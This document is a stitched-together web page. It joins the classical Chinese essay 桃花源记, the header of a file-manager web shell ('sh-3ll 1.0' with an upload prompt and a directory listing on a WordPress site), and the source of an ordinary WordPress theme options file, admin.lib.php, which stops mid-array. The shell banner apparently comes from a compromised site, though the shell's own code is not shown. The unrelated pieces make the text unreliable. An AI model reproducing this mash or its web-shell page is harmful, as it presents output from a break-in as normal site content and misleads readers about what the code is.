晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/salvufkx/www/wp-contentmmm/themes/vega/lib/
Upload File :
Current File : /home/salvufkx/www/wp-contentmmm/themes/vega/lib/admin.lib.php
<?php
/*
	Begin creating admin options
*/

$categories = get_categories('hide_empty=0&orderby=name');
$wp_cats = array(
	0		=> "Choose a category"
);
foreach ($categories as $category_list ) {
       $wp_cats[$category_list->cat_ID] = $category_list->cat_name;
}

$pages = get_pages(array('parent' => -1));
$wp_pages = array(
	0		=> "Choose a page"
);
foreach ($pages as $page_list ) {
       $wp_pages[$page_list->ID] = $page_list->post_title;
}

$galleries = get_posts(array('parent' => -1, 'post_type' => 'gallery', 'numberposts' => -1));
$wp_galleries = array(
	0		=> "Choose a gallery"
);
foreach ($galleries as $gallery_list ) {
       $wp_galleries[$gallery_list->ID] = $gallery_list->post_title;
}

$api_url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];

$options = array (
 
//Begin admin header
array( 
		"name" => THEMENAME." Options",
		"type" => "title"
),
//End admin header
 

//Begin first tab "General"
array( 
		"name" => "General",
		"type" => "section",
		"icon" => "gear.png",
)
,

array( "type" => "open"),

array( "name" => "<h2>Website Identity</h2>Custom Favicon",
	"desc" => "A favicon is a 16x16 pixel icon that represents your site; paste the URL to a .ico image that you want to use as the image",
	"id" => SHORTNAME."_favicon",
	"type" => "image",
	"std" => "",
),
array( "name" => "<h2>Google Maps Setting</h2>API Key",
	"desc" => "Enter Google Maps API Key <a href=\"https://themegoods.ticksy.com/article/7785/\" target=\"_blank\">How to get API Key</a>",
	"id" => SHORTNAME."_googlemap_api_key",
	"type" => "text",
	"std" => ""
),
array( "name" => "<h2>Global Image Settings</h2>Disable right click (for image protection)",
	"desc" => "Check this option to disable right click on website for image protection",
	"id" => SHORTNAME."_enable_right_click",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Disable image dragging (for image protection)",
	"desc" => "Check this option to disable dragging on website for image protection",
	"id" => SHORTNAME."_enable_dragging",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "<h2>Advanced Settings</h2>Tracking Code",
	"desc" => "Paste your Google Analytics code (or other) tracking code here. This code will be added into the footer of theme",
	"id" => SHORTNAME."_ga_code",
	"type" => "textarea",
	"std" => ""
),
array( "name" => "Before &lt;/head&gt;",
	"desc" => "This code will be added before &lt;/head&gt; tag",
	"id" => SHORTNAME."_before_head_code",
	"type" => "textarea",
	"std" => ""
),
array( "name" => "Before &lt;/body&gt;",
	"desc" => "This code will be added before &lt;/body&gt; tag",
	"id" => SHORTNAME."_before_body_code",
	"type" => "textarea",
	"std" => ""
),
array( "name" => "<h2>Responsive Layout Settings</h2>Enable responsive layout",
	"desc" => "Check this option to activate responsive layout for mobile devices",
	"id" => SHORTNAME."_enable_responsive",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "<h2>Animation Settings</h2>Disable loading animation",
	"desc" => "Check this option to disable loading animation",
	"id" => SHORTNAME."_animation",
	"type" => "iphone_checkboxes",
	"std" => 1
),
	
array( "type" => "close"),
//End first tab "General"


//Begin first tab "Header"
array( 
		"name" => "Header",
		"type" => "section",
		"icon" => "layout-select-header.png",
),

array( "type" => "open"),

array( "name" => "<h2>Logo Settings</h2>Logo",
	"desc" => "Image logo which shows above of main menu",
	"id" => SHORTNAME."_logo",
	"type" => "image",
	"std" => "",
),
array( "name" => "Retina Logo",
	"desc" => "Retina Ready Image logo. It should be 2x size of normal logo",
	"id" => SHORTNAME."_retina_logo",
	"type" => "image",
	"std" => "",
),
array( "name" => "Logo Margin Top (in px)",
	"desc" => "Select logo margin top value",
	"id" => SHORTNAME."_logo_margin_top",
	"type" => "jslider",
	"size" => "40px",
	"std" => "40",
	"from" => 0,
	"to" => 100,
	"step" => 1,
),
array( "name" => "Logo Margin Bottom (in px)",
	"desc" => "Select logo margin bottom value",
	"id" => SHORTNAME."_logo_margin_bottom",
	"type" => "jslider",
	"size" => "40px",
	"std" => "30",
	"from" => 0,
	"to" => 100,
	"step" => 1,
),
array( "name" => "<h2>Fullscreen Templates Logo Settings</h2>Logo max height in fullscreen templates",
	"desc" => "Select logo max height value for fullscreen templates",
	"id" => SHORTNAME."_logo_full_max_height",
	"type" => "jslider",
	"size" => "40px",
	"std" => "30",
	"from" => 0,
	"to" => 100,
	"step" => 1,
),
array( "name" => "Logo Margin Top in fullscreen templates (in px)",
	"desc" => "Select logo margin top value for fullscreen templates",
	"id" => SHORTNAME."_logo_full_margin_top",
	"type" => "jslider",
	"size" => "40px",
	"std" => "20",
	"from" => 0,
	"to" => 100,
	"step" => 1,
),
array( "name" => "Logo Margin Bottom in fullscreen templates (in px)",
	"desc" => "Select logo margin bottom value for fullscreen templates",
	"id" => SHORTNAME."_logo_full_margin_bottom",
	"type" => "jslider",
	"size" => "40px",
	"std" => "10",
	"from" => 0,
	"to" => 100,
	"step" => 1,
),

array( "name" => "<h2>Menu Settings</h2>Use sticky top menu",
	"desc" => "Enable this to display main menu fixed when scrolling",
	"id" => SHORTNAME."_fixed_menu",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Menu layouts",
	"desc" => "",
	"id" => SHORTNAME."_menu_layout",
	"type" => "radio",
	"options" => array(
		'1' => '<div style="float:left;width:90%;"><img src="'.get_template_directory_uri().'/functions/images/menu1.png"/></div>',
		'2' => '<div style="float:left;width:90%;"><img src="'.get_template_directory_uri().'/functions/images/menu2.png"/></div>',
	),
),

array( "name" => "Menu Font Family",
	"desc" => "Select font style main menu",
	"id" => SHORTNAME."_menu_font",
	"type" => "font",
	"std" => ''
),

array( "name" => "Menu Font weight",
	"desc" => "",
	"id" => SHORTNAME."_menu_weight",
	"type" => "jslider",
	"size" => "40px",
	"std" => "600",
	"from" => 100,
	"to" => 900,
	"step" => 100,
),

array( "name" => "Menu font Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_menu_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "12",
	"from" => 11,
	"to" => 24,
	"step" => 1,
),

array( "name" => "Make Menu font uppercase",
	"desc" => "",
	"id" => SHORTNAME."_menu_upper",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Sub Menu font Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_submenu_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "11",
	"from" => 10,
	"to" => 24,
	"step" => 1,
),

array( "name" => "Make Sub Menu font uppercase",
	"desc" => "",
	"id" => SHORTNAME."_submenu_upper",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Menu Colors Settings</h2>Menu Background Color",
	"desc" => "Select color for menu background",
	"id" => SHORTNAME."_menu_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Menu Font Color",
	"desc" => "Select color for menu font",
	"id" => SHORTNAME."_menu_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#999999"
),

array( "name" => "Menu Hover Font Color",
	"desc" => "Select color for menu font in hover state",
	"id" => SHORTNAME."_menu_hover_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Menu Active Font Color",
	"desc" => "Select color for menu font in active state",
	"id" => SHORTNAME."_menu_active_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),
array( "name" => "<h2>Sub Menu Colors Settings</h2>Sub Menu Background Color",
	"desc" => "Select color for sub menu background",
	"id" => SHORTNAME."_submenu_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),
array( "name" => "Sub Menu Border Color",
	"desc" => "Select border color for sub menu background",
	"id" => SHORTNAME."_submenu_border_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#e1e1e1"
),
array( "name" => "Sub Menu Font Color",
	"desc" => "Select color for submenu font",
	"id" => SHORTNAME."_submenu_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#999999"
),

array( "name" => "Sub Menu Hover Font Color",
	"desc" => "Select color for menu font in hover state",
	"id" => SHORTNAME."_submenu_hover_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),
	
array( "type" => "close"),
//End first tab "Header"


//Begin first tab "Page Header"
array( 
		"name" => "Page-Header",
		"type" => "section",
		"icon" => "layout_edit.png",
),

array( "type" => "open"),

array( "name" => "<h2>Page Header Background Settings</h2>Page Header Background Color",
	"desc" => "Select color for the page header background",
	"id" => SHORTNAME."_page_header_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Page Header Padding Top (in px)",
	"desc" => "",
	"id" => SHORTNAME."_page_header_padding_top",
	"type" => "jslider",
	"size" => "40px",
	"std" => "150",
	"from" => 10,
	"to" => 200,
	"step" => 1,
),

array( "name" => "Page Header Padding Bottom (in px)",
	"desc" => "",
	"id" => SHORTNAME."_page_header_padding_bottom",
	"type" => "jslider",
	"size" => "40px",
	"std" => "150",
	"from" => 10,
	"to" => 200,
	"step" => 1,
),

array( "name" => "<h2>Page Title Font Settings</h2>Page Title Font Color",
	"desc" => "Select color for the page title",
	"id" => SHORTNAME."_page_title_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Page Title font Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_page_title_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "36",
	"from" => 14,
	"to" => 100,
	"step" => 1,
),
array( "name" => "Make Page Title font uppercase",
	"desc" => "",
	"id" => SHORTNAME."_page_title_upper",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Page Tagline Font Settings</h2>Page Tagline Font Color",
	"desc" => "Select color for the page title",
	"id" => SHORTNAME."_page_tagline_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Page Tagline font Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_page_tagline_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "11",
	"from" => 10,
	"to" => 50,
	"step" => 1,
),
array( "name" => "Make Page Tagline font uppercase",
	"desc" => "",
	"id" => SHORTNAME."_page_tagline_upper",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Page Tagline letter spacing (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_page_tagline_letter_spacing",
	"type" => "jslider",
	"size" => "40px",
	"std" => "2",
	"from" => 0,
	"to" => 10,
	"step" => 1,
),

array( "type" => "close"),
//End first tab "Page Header"


//Begin second tab "Sidebar"
array( 	"name" => "Sidebar",
		"type" => "section",
		"icon" => "text_padding_right.png",	
),
array( "type" => "open"),

array( "name" => "<h2>Custom Sidebar Settings</h2>Add a new sidebar",
	"desc" => "Enter sidebar name",
	"id" => SHORTNAME."_sidebar0",
	"type" => "text",
	"std" => "",
),
array( "name" => "<h2>Sidebar Font Settings</h2>Widget Title font size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_sidebar_title_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "13",
	"from" => 12,
	"to" => 40,
	"step" => 1,
),
array( "name" => "Make Widget Title font uppercase",
	"desc" => "",
	"id" => SHORTNAME."_sidebar_title_upper",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Widget Title Font",
	"desc" => "Select global font family for all sidebar widget's title",
	"id" => SHORTNAME."_sidebar_title_font",
	"type" => "font",
	"std" => ""
),
array( "name" => "Widget Title letter spacing (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_sidebar_title_letter_spacing",
	"type" => "jslider",
	"size" => "40px",
	"std" => "1",
	"from" => 0,
	"to" => 10,
	"step" => 1,
),
array( "name" => "<h2>Sidebar Content Colors Settings</h2>Sidebar Font Color",
	"desc" => "Select color for the font in sidebar",
	"id" => SHORTNAME."_sidebar_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Sidebar Link Color",
	"desc" => "Select color for the link in sidebar",
	"id" => SHORTNAME."_sidebar_link_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Sidebar Hover Link Color",
	"desc" => "Select color for the hover font in sidebar",
	"id" => SHORTNAME."_sidebar_hover_link_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Sidebar Title Font Color",
	"desc" => "Select color for widget title in sidebar",
	"id" => SHORTNAME."_sidebar_title_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Sidebar Title Background Color",
	"desc" => "Select color for widget title background in sidebar",
	"id" => SHORTNAME."_sidebar_title_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "type" => "close"),
//End second tab "Sidebar"


//Begin fifth tab "Footer"
array( 	"name" => "Footer",
		"type" => "section",
		"icon" => "layout-select-footer.png",
),
array( "type" => "open"),

array( "name" => "<h2>Footer Settings</h2>Footer Logo",
	"desc" => "Image logo which shows in footer area",
	"id" => SHORTNAME."_footer_logo",
	"type" => "image",
	"std" => "",
),
array( "name" => "Footer Retina Logo",
	"desc" => "Retina Ready Image logo. It should be 2x size of normal logo",
	"id" => SHORTNAME."_footer_retina_logo",
	"type" => "image",
	"std" => "",
),

array( "name" => "Footer text",
	"desc" => "Enter footer text ex. copyright description",
	"id" => SHORTNAME."_footer_text",
	"type" => "textarea",
	"std" => ""
),

array( "name" => "<h2>Footer Widgets Area Settings</h2>Show Footer Sidebar",
	"desc" => "If you enable this option, you can add widgets to \"Footer Sidebar\" using Appearance > Widgets",
	"id" => SHORTNAME."_footer_display_sidebar",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Footer Sidebar styles",
	"desc" => "Select the style for Footer Sidebar",
	"id" => SHORTNAME."_footer_style",
	"type" => "radio",
	"options" => array(
		'1' => '<div style="float:left;width:70px;height:60px"><img src="'.get_template_directory_uri().'/functions/images/1column.png"/></div>',
		'2' => '<div style="float:left;width:70px;height:60px"><img src="'.get_template_directory_uri().'/functions/images/2columns.png"/></div>',
		'3' => '<div style="float:left;width:70px;height:60px"><img src="'.get_template_directory_uri().'/functions/images/3columns.png"/></div>',
		'4' => '<div style="float:left;width:70px;height:60px"><img src="'.get_template_directory_uri().'/functions/images/4columns.png"/></div>',
	),
),

array( "name" => "<h2>Footer Colors Settings</h2>Footer Background Color",
	"desc" => "Select color for footer background",
	"id" => SHORTNAME."_footer_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Footer Font Color",
	"desc" => "Select color for font in footer",
	"id" => SHORTNAME."_footer_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#999999"
),

array( "name" => "Footer Link Color",
	"desc" => "Select color for link in footer",
	"id" => SHORTNAME."_footer_link_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Footer Hover Link Color",
	"desc" => "Select color for hover font in footer",
	"id" => SHORTNAME."_footer_hover_link_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "<h2>Go to top Settings</h2>Enable go to top button",
	"desc" => "Check this option to disable go to top button at the bottom of page",
	"id" => SHORTNAME."_enable_totop",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Go to top button Background Color",
	"desc" => "Select color for go to top button background",
	"id" => SHORTNAME."_totop_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Go to top button Icon Color",
	"desc" => "Select color for go to top icon",
	"id" => SHORTNAME."_totop_icon_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),


//End fifth tab "Footer"
array( "type" => "close"),


//Begin first tab "Background"
array( 
		"name" => "Background",
		"type" => "section",
		"icon" => "paintcan.png",
),

array( "type" => "open"),

array( "name" => "<h2>Content Background Settings</h2>Main Content Background Color",
	"desc" => "Select background color for main content area",
	"id" => SHORTNAME."_content_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#f9f9f9"
),

array( "name" => "Photo Frame Background Color",
	"desc" => "Select background color for photo frame",
	"id" => SHORTNAME."_photoframe_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "<h2>Archives, Categories, Search and Tags Background Settings</h2>Archives Page Background Image",
	"desc" => "Select background image for archives page",
	"id" => SHORTNAME."_bg_archives",
	"type" => "image",
	"std" => "",
),

array( "name" => "Categories Page Background Image",
	"desc" => "Select background image for categories page",
	"id" => SHORTNAME."_bg_categories",
	"type" => "image",
	"std" => "",
),

array( "name" => "Search Page Background Image",
	"desc" => "Select background image for search page",
	"id" => SHORTNAME."_bg_search",
	"type" => "image",
	"std" => "",
),

array( "name" => "Tags Page Background Image",
	"desc" => "Select background image for tags page",
	"id" => SHORTNAME."_bg_tags",
	"type" => "image",
	"std" => "",
),
	
array( "type" => "close"),
//End first tab "Background"


//Begin first tab "Typography"
array( 
		"name" => "Typography",
		"type" => "section",
		"icon" => "text_dropcaps.png",
)
,

array( "type" => "open"),

array( "name" => "<h2>Google Web Fonts Settings</h2>You can add additional Google Web Font.",
	"desc" => "Enter font name ex. Courgette <a href=\"http://www.google.com/webfonts\">Checkout Google Web Font Directory</a>",
	"id" => SHORTNAME."_ggfont0",
	"type" => "text",
	"std" => "",
),

array( "name" => "<h2>Header Font Settings</h2>Header Font",
	"desc" => "Select font style your header",
	"id" => SHORTNAME."_header_font",
	"type" => "font",
	"std" => ''
),
array( "name" => "H1 Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_h1_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "36",
	"from" => 13,
	"to" => 60,
	"step" => 1,
),
array( "name" => "H2 Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_h2_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "32",
	"from" => 13,
	"to" => 60,
	"step" => 1,
),
array( "name" => "H3 Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_h3_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "26",
	"from" => 13,
	"to" => 60,
	"step" => 1,
),
array( "name" => "H4 Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_h4_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "24",
	"from" => 13,
	"to" => 60,
	"step" => 1,
),
array( "name" => "H5 Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_h5_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "22",
	"from" => 13,
	"to" => 60,
	"step" => 1,
),
array( "name" => "H6 Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_h6_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "18",
	"from" => 13,
	"to" => 60,
	"step" => 1,
),
array( "name" => "Header Font weight",
	"desc" => "",
	"id" => SHORTNAME."_h1_weight",
	"type" => "jslider",
	"size" => "40px",
	"std" => "600",
	"from" => 100,
	"to" => 900,
	"step" => 100,
),
array( "name" => "<h2>Body Font Settings</h2>Main Content Font",
	"desc" => "Select font style your main content",
	"id" => SHORTNAME."_body_font",
	"type" => "font",
	"std" => ''
),
array( "name" => "Main Content Font Size (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_body_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "16",
	"from" => 11,
	"to" => 20,
	"step" => 1,
),
	
array( "type" => "close"),
//End first tab "Typography"


//Begin first tab "Styling"
array( 
		"name" => "Styling",
		"type" => "section",
		"icon" => "palette.png",
),

array( "type" => "open"),

array( "name" => "<h2>Frame Colors Settings</h2>Enable page frame",
	"desc" => "",
	"id" => SHORTNAME."_page_frame",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Frame Color",
	"desc" => "Select color for page frame",
	"id" => SHORTNAME."_page_frame_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "<h2>Page Content Colors Settings</h2>Font Color",
	"desc" => "Select color for the font",
	"id" => SHORTNAME."_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Page Content Link Color",
	"desc" => "Select color for the link",
	"id" => SHORTNAME."_link_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Page Content Hover Link Color",
	"desc" => "Select color for the hover background color",
	"id" => SHORTNAME."_hover_link_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "H1, H2, H3, H4, H5, H6 Color",
	"desc" => "Select color for the H1, H2, H3, H4, H5, H6",
	"id" => SHORTNAME."_h1_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Horizontal Line Color",
	"desc" => "Select color for the hr tag",
	"id" => SHORTNAME."_hr_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "<h2>Input Elements and Button Colors Settings</h2>Input and Textarea Background Color",
	"desc" => "Select color for input and textarea background",
	"id" => SHORTNAME."_input_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Input and Textarea Font Color",
	"desc" => "Select font color for input and textarea",
	"id" => SHORTNAME."_input_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#444444"
),

array( "name" => "Input and Textarea Border Color",
	"desc" => "Select border color for input and textarea",
	"id" => SHORTNAME."_input_border_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#e1e1e1"
),

array( "name" => "Input and Textarea On Focus State Color",
	"desc" => "Select color for input and textarea in focused state",
	"id" => SHORTNAME."_input_focus_border_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Button Background Color",
	"desc" => "Select color for the button background",
	"id" => SHORTNAME."_button_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Button Font Color",
	"desc" => "Select color for the button font",
	"id" => SHORTNAME."_button_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#ffffff"
),

array( "name" => "Button Border Color",
	"desc" => "Select color for the button border",
	"id" => SHORTNAME."_button_border_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "type" => "close"),
//End first tab "Styling"


//Begin second tab "Gallery"
array( 	"name" => "Gallery",
		"type" => "section",
		"icon" => "pictures.png",
),
array( "type" => "open"),

array( "name" => "<h2>Global Gallery Settings</h2>Gallery Images Sorting",
	"desc" => "Select how you want to sort gallery images",
	"id" => SHORTNAME."_gallery_sort",
	"type" => "select",
	"options" => array(
		'drag' => 'By Drag&drop',
		'post_date' => 'By Newest',
		'post_date_old' => 'By Oldest',
		'rand' => 'By Random',
		'title' => 'By Title',
	),
	"std" => ""
),

array( "name" => "Image Caption Font Size (in px)",
	"desc" => "",
	"id" => SHORTNAME."_image_caption_font_size",
	"type" => "jslider",
	"size" => "40px",
	"std" => "14",
	"from" => 10,
	"to" => 30,
	"step" => 1,
),

array( "name" => "Make Image Caption font uppercase",
	"desc" => "",
	"id" => SHORTNAME."_image_caption_upper",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Image Caption Font weight",
	"desc" => "",
	"id" => SHORTNAME."_image_caption_weight",
	"type" => "jslider",
	"size" => "40px",
	"std" => "400",
	"from" => 100,
	"to" => 900,
	"step" => 100,
),

array( "name" => "Image Caption letter spacing (in pixels)",
	"desc" => "",
	"id" => SHORTNAME."_image_caption_letter_spacing",
	"type" => "jslider",
	"size" => "40px",
	"std" => "2",
	"from" => 0,
	"to" => 10,
	"step" => 1,
),

array( "name" => "Display image caption in lightbox",
	"desc" => "Check if you want to display image title and description under the image in lightbox mode",
	"id" => SHORTNAME."_image_lightbox_title",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "Remove link to single image page on gallery",
	"desc" => "Check if you want to remove chain icon to link to single image page on gallery templates",
	"id" => SHORTNAME."_image_link_single",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Gallery Archive Settings</h2>Disable slideshow on hover effect",
	"desc" => "Check this option to disable slideshow effect when move mouse over gallery thumbnail",
	"id" => SHORTNAME."_gallery_disable_hover_slide",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Full Screen Slideshow Settings</h2>Enable autoplay fullscreen slideshow",
	"desc" => "Check this option to let fullscreen slideshow starts playing automatically",
	"id" => SHORTNAME."_full_autoplay",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Slideshow timer",
	"desc" => "Enter number of seconds for Full Screen Slideshow timer",
	"id" => SHORTNAME."_full_slideshow_timer",
	"type" => "jslider",
	"size" => "40px",
	"std" => "5",
	"from" => 1,
	"to" => 20,
	"step" => 1,
),
array( "name" => "Slideshow Transition Effect",
	"desc" => "Select transition type for contents in Full Screen slideshow",
	"id" => SHORTNAME."_full_slideshow_trans",
	"type" => "select",
	"options" => array(
		1 => 'Fade',
		2 => 'Slide Top',
		3 => 'Slide Right',
		4 => 'Slide Bottom',
		5 => 'Slide Left',
		6 => 'Carousel Right',
		7 => 'Carousel Left',
	),
	"std" => "Fade"
),
array( "name" => "Slideshow Transition Timer",
	"desc" => "Enter number of seconds for transition between each image",
	"id" => SHORTNAME."_full_slideshow_trans_speed",
	"type" => "jslider",
	"size" => "40px",
	"std" => "400",
	"from" => 100,
	"to" => 10000,
	"step" => 100,
),
array( "name" => "Enable slideshow image caption",
	"desc" => "Check this option if you want to display fullscreen slideshow image caption",
	"id" => SHORTNAME."_full_image_title",
	"type" => "iphone_checkboxes",
	"std" => 1
),
array( "name" => "Fullscreen Image Caption Font Color",
	"desc" => "Select font color for fullscreen templates image caption",
	"id" => SHORTNAME."_full_title_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),
array( "name" => "<h2>Kenburns Slideshow Settings</h2>Kenburns Slideshow timer",
	"desc" => "Enter number of seconds for Kenburns Slideshow timer",
	"id" => SHORTNAME."_kenburns_timer",
	"type" => "jslider",
	"size" => "40px",
	"std" => "5",
	"from" => 1,
	"to" => 20,
	"step" => 1,
),
array( "name" => "Kenburns Zoom Level",
	"desc" => "Select zoom level for Kenburns slideshow",
	"id" => SHORTNAME."_kenburns_zoom",
	"type" => "jslider",
	"size" => "40px",
	"std" => "2",
	"from" => 1,
	"to" => 10,
	"step" => 1,
),
array( "name" => "Fade Transition Timer",
	"desc" => "Enter number of seconds for transition between each image",
	"id" => SHORTNAME."_kenburns_trans",
	"type" => "jslider",
	"size" => "40px",
	"std" => "1000",
	"from" => 100,
	"to" => 10000,
	"step" => 100,
),

array( "type" => "close"),
//End second tab "Gallery"


//Begin second tab "Portfolio"
array( 	"name" => "Portfolio",
		"type" => "section",
		"icon" => "folder-open-image.png",
),
array( "type" => "open"),

array( "name" => "<h2>Gallery & Portfolio Item Colors Settings</h2>Hover Background Color",
	"desc" => "Select color for gallery & portfolio item background in hover state",
	"id" => SHORTNAME."_portfolio_hover_bg_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),

array( "name" => "Hover Background Opacity",
	"desc" => "Select opacity value for gallery & portfolio item background in hover state",
	"id" => SHORTNAME."_portfolio_hover_opacity_color",
	"type" => "jslider",
	"size" => "40px",
	"std" => "50",
	"from" => 10,
	"to" => 100,
	"step" => 5,
),

array( "name" => "Enable blur effect",
	"desc" => "Check this option to enable blur effect to photo when portfolio & gallery items are hovered",
	"id" => SHORTNAME."_portfolio_hover_blur",
	"type" => "iphone_checkboxes",
	"std" => 1
),

array( "name" => "<h2>Filterable Portfolio Settings</h2>Filterable options sorting",
	"desc" => "Select how you want to sort filterable sets",
	"id" => SHORTNAME."_portfolio_set_sort",
	"type" => "select",
	"options" => array(
		'name' => 'By Name',
		'slug' => 'By Slug',
		'id' => 'By ID',
		'count' => 'By Number of Portfolios',
	),
	"std" => 'name'
),
array( "name" => "Filterable Bar Font Color",
	"desc" => "Select color for the filterable text",
	"id" => SHORTNAME."_filterable_font_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),
array( "name" => "Filterable Bar Active State Font Color",
	"desc" => "Select active state color for the filterable text",
	"id" => SHORTNAME."_filterable_active_color",
	"type" => "colorpicker",
	"size" => "60px",
	"std" => "#000000"
),
array( "name" => "Filterable Bar Active State Background Color",
	"desc" => "Select active state background color for the filterable text",
	"id" => SHORTNAME."_filterable_active_bg_color",
	"type" => "colorpicker",
